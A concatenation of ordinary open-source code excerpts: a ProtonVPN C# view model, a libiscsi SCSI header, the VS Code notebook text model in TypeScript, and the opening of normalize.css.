* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with ProtonVPN. If not, see <https://www.gnu.org/licenses/>.
*/
using ProtonVPN.Core.Profiles;
namespace ProtonVPN.Profiles
{
public class PredefinedProfileViewModel : ProfileViewModel
{
public string Text { get; set; }
public string Icon { get; set; }
public string Description { get; set; }
public PredefinedProfileViewModel(Profile vpnProfile) : base(vpnProfile)
{
}
}
}
| {
"pile_set_name": "Github"
} |
/*
Copyright (C) 2010 by Ronnie Sahlberg <[email protected]>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, see <http://www.gnu.org/licenses/>.
*/
#ifndef CCAN_ISCSI_SCSI_LOWLEVEL_H
#define CCAN_ISCSI_SCSI_LOWLEVEL_H
#define SCSI_CDB_MAX_SIZE 16
enum scsi_opcode {SCSI_OPCODE_TESTUNITREADY=0x00,
SCSI_OPCODE_INQUIRY=0x12,
SCSI_OPCODE_MODESENSE6=0x1a,
SCSI_OPCODE_READCAPACITY10=0x25,
SCSI_OPCODE_READ10=0x28,
SCSI_OPCODE_WRITE10=0x2A,
SCSI_OPCODE_REPORTLUNS=0xA0};
/* sense keys */
#define SCSI_SENSE_KEY_ILLEGAL_REQUEST 0x05
#define SCSI_SENSE_KEY_UNIT_ATTENTION 0x06
/* ascq */
#define SCSI_SENSE_ASCQ_INVALID_FIELD_IN_CDB 0x2400
#define SCSI_SENSE_ASCQ_BUS_RESET 0x2900
enum scsi_xfer_dir {SCSI_XFER_NONE=0,
SCSI_XFER_READ=1,
SCSI_XFER_WRITE=2};
struct scsi_reportluns_params {
int report_type;
};
struct scsi_readcapacity10_params {
int lba;
int pmi;
};
struct scsi_inquiry_params {
int evpd;
int page_code;
};
struct scsi_modesense6_params {
int dbd;
int pc;
int page_code;
int sub_page_code;
};
struct scsi_sense {
unsigned char error_type;
unsigned char key;
int ascq;
};
struct scsi_data {
int size;
unsigned char *data;
};
struct scsi_allocated_memory {
struct scsi_allocated_memory *prev, *next;
void *ptr;
};
struct scsi_task {
int cdb_size;
int xfer_dir;
int expxferlen;
unsigned char cdb[SCSI_CDB_MAX_SIZE];
union {
struct scsi_readcapacity10_params readcapacity10;
struct scsi_reportluns_params reportluns;
struct scsi_inquiry_params inquiry;
struct scsi_modesense6_params modesense6;
} params;
struct scsi_sense sense;
struct scsi_data datain;
struct scsi_allocated_memory *mem;
};
void scsi_free_scsi_task(struct scsi_task *task);
/*
* TESTUNITREADY
*/
struct scsi_task *scsi_cdb_testunitready(void);
/*
* REPORTLUNS
*/
#define SCSI_REPORTLUNS_REPORT_ALL_LUNS 0x00
#define SCSI_REPORTLUNS_REPORT_WELL_KNOWN_ONLY 0x01
#define SCSI_REPORTLUNS_REPORT_AVAILABLE_LUNS_ONLY 0x02
struct scsi_reportluns_list {
uint32_t num;
uint16_t luns[0];
};
struct scsi_task *scsi_reportluns_cdb(int report_type, int alloc_len);
/*
* READCAPACITY10
*/
struct scsi_readcapacity10 {
uint32_t lba;
uint32_t block_size;
};
struct scsi_task *scsi_cdb_readcapacity10(int lba, int pmi);
/*
* INQUIRY
*/
enum scsi_inquiry_peripheral_qualifier {SCSI_INQUIRY_PERIPHERAL_QUALIFIER_CONNECTED=0x00,
SCSI_INQUIRY_PERIPHERAL_QUALIFIER_DISCONNECTED=0x01,
SCSI_INQUIRY_PERIPHERAL_QUALIFIER_NOT_SUPPORTED=0x03};
enum scsi_inquiry_peripheral_device_type {SCSI_INQUIRY_PERIPHERAL_DEVICE_TYPE_DIRECT_ACCESS=0x00,
SCSI_INQUIRY_PERIPHERAL_DEVICE_TYPE_SEQUENTIAL_ACCESS=0x01,
SCSI_INQUIRY_PERIPHERAL_DEVICE_TYPE_PRINTER=0x02,
SCSI_INQUIRY_PERIPHERAL_DEVICE_TYPE_PROCESSOR=0x03,
SCSI_INQUIRY_PERIPHERAL_DEVICE_TYPE_WRITE_ONCE=0x04,
SCSI_INQUIRY_PERIPHERAL_DEVICE_TYPE_MMC=0x05,
SCSI_INQUIRY_PERIPHERAL_DEVICE_TYPE_SCANNER=0x06,
SCSI_INQUIRY_PERIPHERAL_DEVICE_TYPE_OPTICAL_MEMORY=0x07,
SCSI_INQUIRY_PERIPHERAL_DEVICE_TYPE_MEDIA_CHANGER=0x08,
SCSI_INQUIRY_PERIPHERAL_DEVICE_TYPE_COMMUNICATIONS=0x09,
SCSI_INQUIRY_PERIPHERAL_DEVICE_TYPE_STORAGE_ARRAY_CONTROLLER=0x0c,
SCSI_INQUIRY_PERIPHERAL_DEVICE_TYPE_ENCLOSURE_SERVICES=0x0d,
SCSI_INQUIRY_PERIPHERAL_DEVICE_TYPE_SIMPLIFIED_DIRECT_ACCESS=0x0e,
SCSI_INQUIRY_PERIPHERAL_DEVICE_TYPE_OPTICAL_CARD_READER=0x0f,
SCSI_INQUIRY_PERIPHERAL_DEVICE_TYPE_BRIDGE_CONTROLLER=0x10,
SCSI_INQUIRY_PERIPHERAL_DEVICE_TYPE_OSD=0x11,
SCSI_INQUIRY_PERIPHERAL_DEVICE_TYPE_AUTOMATION=0x12,
SCSI_INQUIRY_PERIPHERAL_DEVICE_TYPE_SEQURITY_MANAGER=0x13,
SCSI_INQUIRY_PERIPHERAL_DEVICE_TYPE_WELL_KNOWN_LUN=0x1e,
SCSI_INQUIRY_PERIPHERAL_DEVICE_TYPE_UNKNOWN=0x1f};
struct scsi_inquiry_standard {
enum scsi_inquiry_peripheral_qualifier periperal_qualifier;
enum scsi_inquiry_peripheral_device_type periperal_device_type;
int rmb;
int version;
int normaca;
int hisup;
int response_data_format;
char vendor_identification[8+1];
char product_identification[16+1];
char product_revision_level[4+1];
};
struct scsi_task *scsi_cdb_inquiry(int evpd, int page_code, int alloc_len);
/*
* MODESENSE6
*/
enum scsi_modesense_page_control {SCSI_MODESENSE_PC_CURRENT=0x00,
SCSI_MODESENSE_PC_CHANGEABLE=0x01,
SCSI_MODESENSE_PC_DEFAULT=0x02,
SCSI_MODESENSE_PC_SAVED=0x03};
enum scsi_modesense_page_code {SCSI_MODESENSE_PAGECODE_RETURN_ALL_PAGES=0x3f};
struct scsi_task *scsi_cdb_modesense6(int dbd, enum scsi_modesense_page_control pc, enum scsi_modesense_page_code page_code, int sub_page_code, unsigned char alloc_len);
int scsi_datain_getfullsize(struct scsi_task *task);
void *scsi_datain_unmarshall(struct scsi_task *task);
struct scsi_task *scsi_cdb_read10(int lba, int xferlen, int blocksize);
struct scsi_task *scsi_cdb_write10(int lba, int xferlen, int fua, int fuanv, int blocksize);
#endif /* CCAN_ISCSI_SCSI_LOWLEVEL_H */
| {
"pile_set_name": "Github"
} |
/*---------------------------------------------------------------------------------------------
* Copyright (c) Microsoft Corporation. All rights reserved.
* Licensed under the MIT License. See License.txt in the project root for license information.
*--------------------------------------------------------------------------------------------*/
import * as nls from 'vs/nls';
import { Emitter, Event } from 'vs/base/common/event';
import { Disposable, dispose, IDisposable } from 'vs/base/common/lifecycle';
import { URI } from 'vs/base/common/uri';
import { NotebookCellTextModel } from 'vs/workbench/contrib/notebook/common/model/notebookCellTextModel';
import { INotebookTextModel, NotebookCellOutputsSplice, NotebookDocumentMetadata, NotebookCellMetadata, ICellEditOperation, CellEditType, CellUri, notebookDocumentMetadataDefaults, diff, NotebookCellsChangeType, ICellDto2, TransientOptions, NotebookTextModelChangedEvent, NotebookRawContentEvent, IProcessedOutput, CellOutputKind } from 'vs/workbench/contrib/notebook/common/notebookCommon';
import { ITextSnapshot } from 'vs/editor/common/model';
import { IUndoRedoService, UndoRedoElementType, IUndoRedoElement, IResourceUndoRedoElement } from 'vs/platform/undoRedo/common/undoRedo';
import { MoveCellEdit, SpliceCellsEdit, CellMetadataEdit } from 'vs/workbench/contrib/notebook/common/model/cellEdit';
import { ITextModelService } from 'vs/editor/common/services/resolverService';
import { IModeService } from 'vs/editor/common/services/modeService';
import { IRange } from 'vs/editor/common/core/range';
import { ISequence, LcsDiff } from 'vs/base/common/diff/diff';
import { hash } from 'vs/base/common/hash';
export class NotebookTextModelSnapshot implements ITextSnapshot {
private _index: number = -1;
constructor(private _model: NotebookTextModel) { }
read(): string | null {
if (this._index === -1) {
this._index++;
return `{ "metadata": ${JSON.stringify(this._model.metadata)}, "languages": ${JSON.stringify(this._model.languages)}, "cells": [`;
}
if (this._index < this._model.cells.length) {
const cell = this._model.cells[this._index];
const data = {
source: cell.getValue(),
metadata: cell.metadata,
cellKind: cell.cellKind,
language: cell.language,
outputs: cell.outputs
};
const rawStr = JSON.stringify(data);
const isLastCell = this._index === this._model.cells.length - 1;
this._index++;
return isLastCell ? rawStr : (rawStr + ',');
} else if (this._index === this._model.cells.length) {
this._index++;
return `]}`;
} else {
return null;
}
}
}
class StackOperation implements IResourceUndoRedoElement {
type: UndoRedoElementType.Resource;
private _operations: IUndoRedoElement[] = [];
private _beginSelectionState: number[] | undefined = undefined;
private _resultSelectionState: number[] | undefined = undefined;
constructor(readonly resource: URI, readonly label: string, private _delayedEmitter: DelayedEmitter, selectionState: number[] | undefined) {
this.type = UndoRedoElementType.Resource;
this._beginSelectionState = selectionState;
}
pushEndSelectionState(selectionState: number[] | undefined) {
this._resultSelectionState = selectionState;
}
pushEditOperation(element: IUndoRedoElement, beginSelectionState: number[] | undefined, resultSelectionState: number[] | undefined) {
if (this._operations.length === 0) {
this._beginSelectionState = this._beginSelectionState || beginSelectionState;
}
this._operations.push(element);
this._resultSelectionState = resultSelectionState;
}
async undo(): Promise<void> {
this._delayedEmitter.beginDeferredEmit();
for (let i = this._operations.length - 1; i >= 0; i--) {
await this._operations[i].undo();
}
this._delayedEmitter.endDeferredEmit(this._beginSelectionState);
}
async redo(): Promise<void> {
this._delayedEmitter.beginDeferredEmit();
for (let i = 0; i < this._operations.length; i++) {
await this._operations[i].redo();
}
this._delayedEmitter.endDeferredEmit(this._resultSelectionState);
}
}
export class NotebookOperationManager {
private _pendingStackOperation: StackOperation | null = null;
constructor(private _undoService: IUndoRedoService, private _resource: URI, private _delayedEmitter: DelayedEmitter) {
}
pushStackElement(label: string, selectionState: number[] | undefined) {
if (this._pendingStackOperation) {
this._pendingStackOperation.pushEndSelectionState(selectionState);
this._undoService.pushElement(this._pendingStackOperation);
this._pendingStackOperation = null;
return;
}
this._pendingStackOperation = new StackOperation(this._resource, label, this._delayedEmitter, selectionState);
}
pushEditOperation(element: IUndoRedoElement, beginSelectionState: number[] | undefined, resultSelectionState: number[] | undefined) {
if (this._pendingStackOperation) {
this._pendingStackOperation.pushEditOperation(element, beginSelectionState, resultSelectionState);
return;
}
this._undoService.pushElement(element);
}
}
class DelayedEmitter {
private _deferredCnt: number = 0;
private _notebookTextModelChangedEvent: NotebookTextModelChangedEvent | null = null;
constructor(
private readonly _onDidChangeContent: Emitter<NotebookTextModelChangedEvent>,
private readonly _computeEndState: () => void,
private readonly _textModel: NotebookTextModel
) {
}
beginDeferredEmit(): void {
this._deferredCnt++;
}
endDeferredEmit(endSelections: number[] | undefined): void {
this._deferredCnt--;
if (this._deferredCnt === 0) {
this._computeEndState();
if (this._notebookTextModelChangedEvent) {
this._onDidChangeContent.fire(
{
rawEvents: this._notebookTextModelChangedEvent.rawEvents,
versionId: this._textModel.versionId,
endSelections: endSelections || this._notebookTextModelChangedEvent.endSelections,
synchronous: this._notebookTextModelChangedEvent.synchronous
}
);
}
this._notebookTextModelChangedEvent = null;
}
}
emit(data: NotebookRawContentEvent, synchronous: boolean, endSelections?: number[]) {
if (this._deferredCnt === 0) {
this._computeEndState();
this._onDidChangeContent.fire(
{
rawEvents: [data],
versionId: this._textModel.versionId,
synchronous,
endSelections
}
);
} else {
if (!this._notebookTextModelChangedEvent) {
this._notebookTextModelChangedEvent = {
rawEvents: [data],
versionId: this._textModel.versionId,
endSelections: endSelections,
synchronous: synchronous
};
} else {
// merge
this._notebookTextModelChangedEvent = {
rawEvents: [...this._notebookTextModelChangedEvent.rawEvents, data],
versionId: this._textModel.versionId,
endSelections: endSelections ? endSelections : this._notebookTextModelChangedEvent.endSelections,
synchronous: synchronous
};
}
}
}
}
export class NotebookTextModel extends Disposable implements INotebookTextModel {
private readonly _onWillDispose: Emitter<void> = this._register(new Emitter<void>());
private readonly _onDidChangeContent = this._register(new Emitter<NotebookTextModelChangedEvent>());
readonly onWillDispose: Event<void> = this._onWillDispose.event;
readonly onDidChangeContent = this._onDidChangeContent.event;
private _cellhandlePool: number = 0;
private _mapping: Map<number, NotebookCellTextModel> = new Map();
private _cellListeners: Map<number, IDisposable> = new Map();
private _cells: NotebookCellTextModel[] = [];
private _languages: string[] = [];
private _allLanguages: boolean = false;
get languages() {
return this._languages;
}
get resolvedLanguages() {
if (this._allLanguages) {
return this._modeService.getRegisteredModes();
}
return this._languages;
}
metadata: NotebookDocumentMetadata = notebookDocumentMetadataDefaults;
transientOptions: TransientOptions = { transientMetadata: {}, transientOutputs: false };
private _versionId = 0;
private _operationManager: NotebookOperationManager;
private _eventEmitter: DelayedEmitter;
get cells(): readonly NotebookCellTextModel[] {
return this._cells;
}
get versionId() {
return this._versionId;
}
constructor(
readonly viewType: string,
readonly supportBackup: boolean,
readonly uri: URI,
cells: ICellDto2[],
languages: string[],
metadata: NotebookDocumentMetadata,
options: TransientOptions,
@IUndoRedoService private _undoService: IUndoRedoService,
@ITextModelService private _modelService: ITextModelService,
@IModeService private readonly _modeService: IModeService,
) {
super();
this.transientOptions = options;
this.metadata = metadata;
this.updateLanguages(languages);
this._initialize(cells);
this._eventEmitter = new DelayedEmitter(
this._onDidChangeContent,
() => { this._increaseVersionId(); },
this
);
this._operationManager = new NotebookOperationManager(this._undoService, uri, this._eventEmitter);
}
private _initialize(cells: ICellDto2[]) {
this._cells = [];
this._versionId = 0;
const mainCells = cells.map(cell => {
const cellHandle = this._cellhandlePool++;
const cellUri = CellUri.generate(this.uri, cellHandle);
return new NotebookCellTextModel(cellUri, cellHandle, cell.source, cell.language, cell.cellKind, cell.outputs || [], cell.metadata, this.transientOptions, this._modelService);
});
for (let i = 0; i < mainCells.length; i++) {
this._mapping.set(mainCells[i].handle, mainCells[i]);
const dirtyStateListener = mainCells[i].onDidChangeContent(() => {
this._eventEmitter.emit({ kind: NotebookCellsChangeType.ChangeCellContent, transient: false }, true);
});
this._cellListeners.set(mainCells[i].handle, dirtyStateListener);
}
this._cells.splice(0, 0, ...mainCells);
}
dispose() {
this._onWillDispose.fire();
dispose(this._cellListeners.values());
dispose(this._cells);
super.dispose();
}
pushStackElement(label: string, selectionState: number[] | undefined) {
this._operationManager.pushStackElement(label, selectionState);
}
applyEdits(modelVersionId: number, rawEdits: ICellEditOperation[], synchronous: boolean, beginSelectionState: number[] | undefined, endSelectionsComputer: () => number[] | undefined, computeUndoRedo: boolean = true): boolean {
if (modelVersionId !== this._versionId) {
return false;
}
this._eventEmitter.beginDeferredEmit();
this.pushStackElement('edit', beginSelectionState);
const edits = rawEdits.map((edit, index) => {
return {
edit,
end:
(edit.editType === CellEditType.DocumentMetadata || edit.editType === CellEditType.Unknown)
? undefined
: (edit.editType === CellEditType.Replace ? edit.index + edit.count : edit.index),
originalIndex: index,
};
}).sort((a, b) => {
if (a.end === undefined) {
return -1;
}
if (b.end === undefined) {
return -1;
}
return b.end - a.end || b.originalIndex - a.originalIndex;
});
for (const { edit } of edits) {
switch (edit.editType) {
case CellEditType.Replace:
this._replaceCells(edit.index, edit.count, edit.cells, synchronous, computeUndoRedo);
break;
case CellEditType.Output:
//TODO@joh,@rebornix no event, no undo stop (?)
this._assertIndex(edit.index);
const cell = this._cells[edit.index];
this._spliceNotebookCellOutputs2(cell.handle, edit.outputs, computeUndoRedo);
break;
case CellEditType.OutputsSplice:
{
//TODO@joh,@rebornix no event, no undo stop (?)
this._assertIndex(edit.index);
const cell = this._cells[edit.index];
this._spliceNotebookCellOutputs(cell.handle, edit.splices, computeUndoRedo);
break;
}
case CellEditType.Metadata:
this._assertIndex(edit.index);
this._changeCellMetadata(this._cells[edit.index].handle, edit.metadata, computeUndoRedo);
break;
case CellEditType.CellLanguage:
this._assertIndex(edit.index);
this._changeCellLanguage(this._cells[edit.index].handle, edit.language, computeUndoRedo);
break;
case CellEditType.DocumentMetadata:
this._updateNotebookMetadata(edit.metadata, computeUndoRedo);
break;
case CellEditType.Move:
this._moveCellToIdx(edit.index, edit.length, edit.newIdx, synchronous, computeUndoRedo, undefined, undefined);
break;
case CellEditType.CellContent:
// TODO@rebornix, _replaceCellContent is async and does not push undo element
this._replaceCellContent(this._cells[edit.index], edit.range, edit.text);
break;
case CellEditType.Unknown:
this._handleUnknownChange();
break;
}
}
const endSelections = endSelectionsComputer();
this.pushStackElement('edit', endSelections);
this._eventEmitter.endDeferredEmit(endSelections);
return true;
}
createSnapshot(preserveBOM?: boolean): ITextSnapshot {
return new NotebookTextModelSnapshot(this);
}
handleUnknownUndoableEdit(label: string | undefined, undo: () => void, redo: () => void): void {
this._operationManager.pushEditOperation({
type: UndoRedoElementType.Resource,
resource: this.uri,
label: label ?? nls.localize('defaultEditLabel', "Edit"),
undo: async () => {
undo();
},
redo: async () => {
redo();
},
}, undefined, undefined);
this._eventEmitter.emit({
kind: NotebookCellsChangeType.Unknown,
transient: false
}, true);
}
private _handleUnknownChange() {
this._eventEmitter.emit({
kind: NotebookCellsChangeType.Unknown,
transient: false
}, true);
}
private _replaceCells(index: number, count: number, cellDtos: ICellDto2[], synchronous: boolean, computeUndoRedo: boolean): void {
if (count === 0 && cellDtos.length === 0) {
return;
}
const oldViewCells = this._cells.slice(0);
const oldMap = new Map(this._mapping);
// prepare remove
for (let i = index; i < index + count; i++) {
const cell = this._cells[i];
this._cellListeners.get(cell.handle)?.dispose();
this._cellListeners.delete(cell.handle);
}
// prepare add
const cells = cellDtos.map(cellDto => {
const cellHandle = this._cellhandlePool++;
const cellUri = CellUri.generate(this.uri, cellHandle);
const cell = new NotebookCellTextModel(
cellUri, cellHandle,
cellDto.source, cellDto.language, cellDto.cellKind, cellDto.outputs || [], cellDto.metadata, this.transientOptions,
this._modelService
);
const dirtyStateListener = cell.onDidChangeContent(() => {
this._eventEmitter.emit({ kind: NotebookCellsChangeType.ChangeCellContent, transient: false }, true);
});
this._cellListeners.set(cell.handle, dirtyStateListener);
this._mapping.set(cell.handle, cell);
return cell;
});
// make change
this._cells.splice(index, count, ...cells);
const diffs = diff(oldViewCells, this._cells, cell => {
return oldMap.has(cell.handle);
}).map(diff => {
return [diff.start, diff.deleteCount, diff.toInsert] as [number, number, NotebookCellTextModel[]];
});
const undoDiff = diffs.map(diff => {
const deletedCells = oldViewCells.slice(diff[0], diff[0] + diff[1]);
return [diff[0], deletedCells, diff[2]] as [number, NotebookCellTextModel[], NotebookCellTextModel[]];
});
if (computeUndoRedo) {
this._operationManager.pushEditOperation(new SpliceCellsEdit(this.uri, undoDiff, {
insertCell: (index, cell, endSelections?: number[]) => { this._insertNewCell(index, [cell], true, endSelections); },
deleteCell: (index, endSelections?: number[]) => { this._removeCell(index, 1, true, endSelections); },
}, undefined, undefined), undefined, undefined);
}
// should be deferred
this._eventEmitter.emit({
kind: NotebookCellsChangeType.ModelChange,
changes: diffs,
transient: false
}, synchronous);
}
private _increaseVersionId(): void {
this._versionId = this._versionId + 1;
}
updateLanguages(languages: string[]) {
const allLanguages = languages.find(lan => lan === '*');
this._allLanguages = allLanguages !== undefined;
this._languages = languages;
const resolvedLanguages = this.resolvedLanguages;
if (resolvedLanguages.length && this._cells.length) {
this._cells[0].language = resolvedLanguages[0];
}
}
private _updateNotebookMetadata(metadata: NotebookDocumentMetadata, computeUndoRedo: boolean) {
const oldMetadata = this.metadata;
this.metadata = metadata;
if (computeUndoRedo) {
const that = this;
this._operationManager.pushEditOperation(new class implements IResourceUndoRedoElement {
readonly type: UndoRedoElementType.Resource = UndoRedoElementType.Resource;
get resource() {
return that.uri;
}
readonly label = 'Update Notebook Metadata';
undo() {
that._updateNotebookMetadata(oldMetadata, false);
}
redo() {
that._updateNotebookMetadata(metadata, false);
}
}(), undefined, undefined);
}
this._eventEmitter.emit({ kind: NotebookCellsChangeType.ChangeDocumentMetadata, metadata: this.metadata, transient: false }, true);
}
private _insertNewCell(index: number, cells: NotebookCellTextModel[], synchronous: boolean, endSelections?: number[]): void {
for (let i = 0; i < cells.length; i++) {
this._mapping.set(cells[i].handle, cells[i]);
const dirtyStateListener = cells[i].onDidChangeContent(() => {
this._eventEmitter.emit({ kind: NotebookCellsChangeType.ChangeCellContent, transient: false }, true);
});
this._cellListeners.set(cells[i].handle, dirtyStateListener);
}
this._cells.splice(index, 0, ...cells);
this._eventEmitter.emit({
kind: NotebookCellsChangeType.ModelChange,
changes:
[[
index,
0,
cells
]],
transient: false
}, synchronous, endSelections);
return;
}
private _removeCell(index: number, count: number, synchronous: boolean, endSelections?: number[]) {
for (let i = index; i < index + count; i++) {
const cell = this._cells[i];
this._cellListeners.get(cell.handle)?.dispose();
this._cellListeners.delete(cell.handle);
}
this._cells.splice(index, count);
this._eventEmitter.emit({ kind: NotebookCellsChangeType.ModelChange, changes: [[index, count, []]], transient: false }, synchronous, endSelections);
}
private _isCellMetadataChanged(a: NotebookCellMetadata, b: NotebookCellMetadata) {
const keys = new Set([...Object.keys(a || {}), ...Object.keys(b || {})]);
for (let key of keys) {
if (key === 'custom') {
if (!this._customMetadataEqual(a[key], b[key])
&&
!(this.transientOptions.transientMetadata[key as keyof NotebookCellMetadata])
) {
return true;
}
} else if (
(a[key as keyof NotebookCellMetadata] !== b[key as keyof NotebookCellMetadata])
&&
!(this.transientOptions.transientMetadata[key as keyof NotebookCellMetadata])
) {
return true;
}
}
return false;
}
private _customMetadataEqual(a: any, b: any) {
if (!a && !b) {
// both of them are nullish or undefined
return true;
}
if (!a || !b) {
return false;
}
const aProps = Object.getOwnPropertyNames(a);
const bProps = Object.getOwnPropertyNames(b);
if (aProps.length !== bProps.length) {
return false;
}
for (let i = 0; i < aProps.length; i++) {
const propName = aProps[i];
if (a[propName] !== b[propName]) {
return false;
}
}
return true;
}
private _changeCellMetadata(handle: number, metadata: NotebookCellMetadata, computeUndoRedo: boolean) {
const cell = this._cells.find(cell => cell.handle === handle);
if (!cell) {
return;
}
const triggerDirtyChange = this._isCellMetadataChanged(cell.metadata, metadata);
if (triggerDirtyChange) {
if (computeUndoRedo) {
const index = this._cells.indexOf(cell);
this._operationManager.pushEditOperation(new CellMetadataEdit(this.uri, index, Object.freeze(cell.metadata), Object.freeze(metadata), {
updateCellMetadata: (index, newMetadata) => {
const cell = this._cells[index];
if (!cell) {
return;
}
this._changeCellMetadata(cell.handle, newMetadata, false);
}
}), undefined, undefined);
}
// should be deferred
cell.metadata = metadata;
} else {
cell.metadata = metadata;
}
this._eventEmitter.emit({ kind: NotebookCellsChangeType.ChangeCellMetadata, index: this._cells.indexOf(cell), metadata: cell.metadata, transient: !triggerDirtyChange }, true);
}
private _changeCellLanguage(handle: number, languageId: string, computeUndoRedo: boolean) {
const cell = this._mapping.get(handle);
if (!cell || cell.language === languageId) {
return;
}
const oldLanguage = cell.language;
cell.language = languageId;
if (computeUndoRedo) {
const that = this;
this._operationManager.pushEditOperation(new class implements IResourceUndoRedoElement {
readonly type: UndoRedoElementType.Resource = UndoRedoElementType.Resource;
get resource() {
return that.uri;
}
readonly label = 'Update Cell Language';
undo() {
that._changeCellLanguage(cell.handle, oldLanguage, false);
}
redo() {
that._changeCellLanguage(cell.handle, languageId, false);
}
}(), undefined, undefined);
}
this._eventEmitter.emit({ kind: NotebookCellsChangeType.ChangeLanguage, index: this._cells.indexOf(cell), language: languageId, transient: false }, true);
}
private _spliceNotebookCellOutputs2(cellHandle: number, outputs: IProcessedOutput[], computeUndoRedo: boolean): void {
const cell = this._mapping.get(cellHandle);
if (!cell) {
return;
}
const diff = new LcsDiff(new OutputSequence(cell.outputs), new OutputSequence(outputs));
const diffResult = diff.ComputeDiff(false);
const splices: NotebookCellOutputsSplice[] = diffResult.changes.map(change => [change.originalStart, change.originalLength, outputs.slice(change.modifiedStart, change.modifiedStart + change.modifiedLength)]);
this._spliceNotebookCellOutputs(cellHandle, splices, computeUndoRedo);
}
private _spliceNotebookCellOutputs(cellHandle: number, splices: NotebookCellOutputsSplice[], computeUndoRedo: boolean): void {
const cell = this._mapping.get(cellHandle);
if (cell) {
cell.spliceNotebookCellOutputs(splices);
this._eventEmitter.emit({
kind: NotebookCellsChangeType.Output,
index: this._cells.indexOf(cell),
outputs: cell.outputs ?? [],
transient: this.transientOptions.transientOutputs,
}, true);
}
}
private _moveCellToIdx(index: number, length: number, newIdx: number, synchronous: boolean, pushedToUndoStack: boolean, beforeSelections: number[] | undefined, endSelections: number[] | undefined): boolean {
if (pushedToUndoStack) {
this._operationManager.pushEditOperation(new MoveCellEdit(this.uri, index, length, newIdx, {
moveCell: (fromIndex: number, length: number, toIndex: number, beforeSelections: number[] | undefined, endSelections: number[] | undefined) => {
this._moveCellToIdx(fromIndex, length, toIndex, true, false, beforeSelections, endSelections);
},
}, beforeSelections, endSelections), beforeSelections, endSelections);
}
this._assertIndex(index);
this._assertIndex(newIdx);
const cells = this._cells.splice(index, length);
this._cells.splice(newIdx, 0, ...cells);
this._eventEmitter.emit({ kind: NotebookCellsChangeType.Move, index, length, newIdx, cells, transient: false }, synchronous, endSelections);
return true;
}
async _replaceCellContent(cell: NotebookCellTextModel, range: IRange | undefined, text: string) {
const ref = await cell.resolveTextModelRef();
const textModel = ref.object.textEditorModel;
textModel.applyEdits([
{ range: range || textModel.getFullModelRange(), text: text }
], false);
ref.dispose();
}
private _assertIndex(index: number) {
if (index < 0 || index >= this._cells.length) {
throw new Error(`model index out of range ${index}`);
}
}
}
class OutputSequence implements ISequence {
constructor(readonly outputs: IProcessedOutput[]) {
}
getElements(): Int32Array | number[] | string[] {
return this.outputs.map(output => {
switch (output.outputKind) {
case CellOutputKind.Rich:
return hash([output.outputKind, output.metadata, output.data]);
case CellOutputKind.Error:
return hash([output.outputKind, output.ename, output.evalue, output.traceback]);
case CellOutputKind.Text:
return hash([output.outputKind, output.text]);
}
});
}
}
| {
"pile_set_name": "Github"
} |
/*! normalize.css 2012-02-07T12:37 UTC - http://github.com/necolas/normalize.css */
/* =============================================================================
HTML5 display definitions
========================================================================== */
/*
* Corrects block display not defined in IE6/7/8/9 & FF3
*/
article,
aside,
details,
figcaption,
figure,
footer,
header,
hgroup,
nav,
section,
summary {
display: block;
}
/*
* Corrects inline-block display not defined in IE6/7/8/9 & FF3
*/
audio,
canvas,
video {
display: inline-block;
*display: inline;
*zoom: 1;
}
/*
* Prevents modern browsers from displaying 'audio' without controls
*/
audio:not([controls]) {
display: none;
}
/*
* Addresses styling for 'hidden' attribute not present in IE7/8/9, FF3, S4
* Known issue: no IE6 support
*/
[hidden] {
display: none;
}
/* =============================================================================
Base
========================================================================== */
/*
* 1. Corrects text resizing oddly in IE6/7 when body font-size is set using em units
* http://clagnut.com/blog/348/#c790
* 2. Prevents iOS text size adjust after orientation change, without disabling user zoom
* www.456bereastreet.com/archive/201012/controlling_text_size_in_safari_for_ios_without_disabling_user_zoom/
*/
html {
font-size: 100%; /* 1 */
-webkit-text-size-adjust: 100%; /* 2 */
-ms-text-size-adjust: 100%; /* 2 */
}
/*
* Addresses font-family inconsistency between 'textarea' and other form elements.
*/
html,
button,
input,
select,
textarea {
font-family: sans-serif;
}
/*
* Addresses margins handled incorrectly in IE6/7
*/
body {
margin: 0;
}
/* =============================================================================
Links
========================================================================== */
/*
* Addresses outline displayed oddly in Chrome
*/
a:focus {
outline: thin dotted;
}
/*
* Improves readability when focused and also mouse hovered in all browsers
* people.opera.com/patrickl/experiments/keyboard/test
*/
a:hover,
a:active {
outline: 0;
}
/* =============================================================================
Typography
========================================================================== */
/*
* Addresses font sizes and margins set differently in IE6/7
* Addresses font sizes within 'section' and 'article' in FF4+, Chrome, S5
*/
h1 {
font-size: 2em;
margin: 0.67em 0;
}
h2 {
font-size: 1.5em;
margin: 0.83em 0;
}
h3 {
font-size: 1.17em;
margin: 1em 0;
}
h4 {
font-size: 1em;
margin: 1.33em 0;
}
h5 {
font-size: 0.83em;
margin: 1.67em 0;
}
h6 {
font-size: 0.75em;
margin: 2.33em 0;
}
/*
* Addresses styling not present in IE7/8/9, S5, Chrome
*/
abbr[title] {
border-bottom: 1px dotted;
}
/*
* Addresses style set to 'bolder' in FF3+, S4/5, Chrome
*/
b,
strong {
font-weight: bold;
}
blockquote {
margin: 1em 40px;
}
/*
* Addresses styling not present in S5, Chrome
*/
dfn {
font-style: italic;
}
/*
* Addresses styling not present in IE6/7/8/9
*/
mark {
background: #ff0;
color: #000;
}
/*
* Addresses margins set differently in IE6/7
*/
p,
pre {
margin: 1em 0;
}
/*
* Corrects font family set oddly in IE6, S4/5, Chrome
* en.wikipedia.org/wiki/User:Davidgothberg/Test59
*/
pre,
code,
kbd,
samp {
font-family: monospace, serif;
_font-family: 'courier new', monospace;
font-size: 1em;
}
/*
* Improves readability of pre-formatted text in all browsers
*/
pre {
white-space: pre;
white-space: pre-wrap;
word-wrap: break-word;
}
/*
* 1. Addresses CSS quotes not supported in IE6/7
* 2. Addresses quote property not supported in S4
*/
/* 1 */
q {
quotes: none;
}
/* 2 */
q:before,
q:after {
content: '';
content: none;
}
small {
font-size: 75%;
}
/*
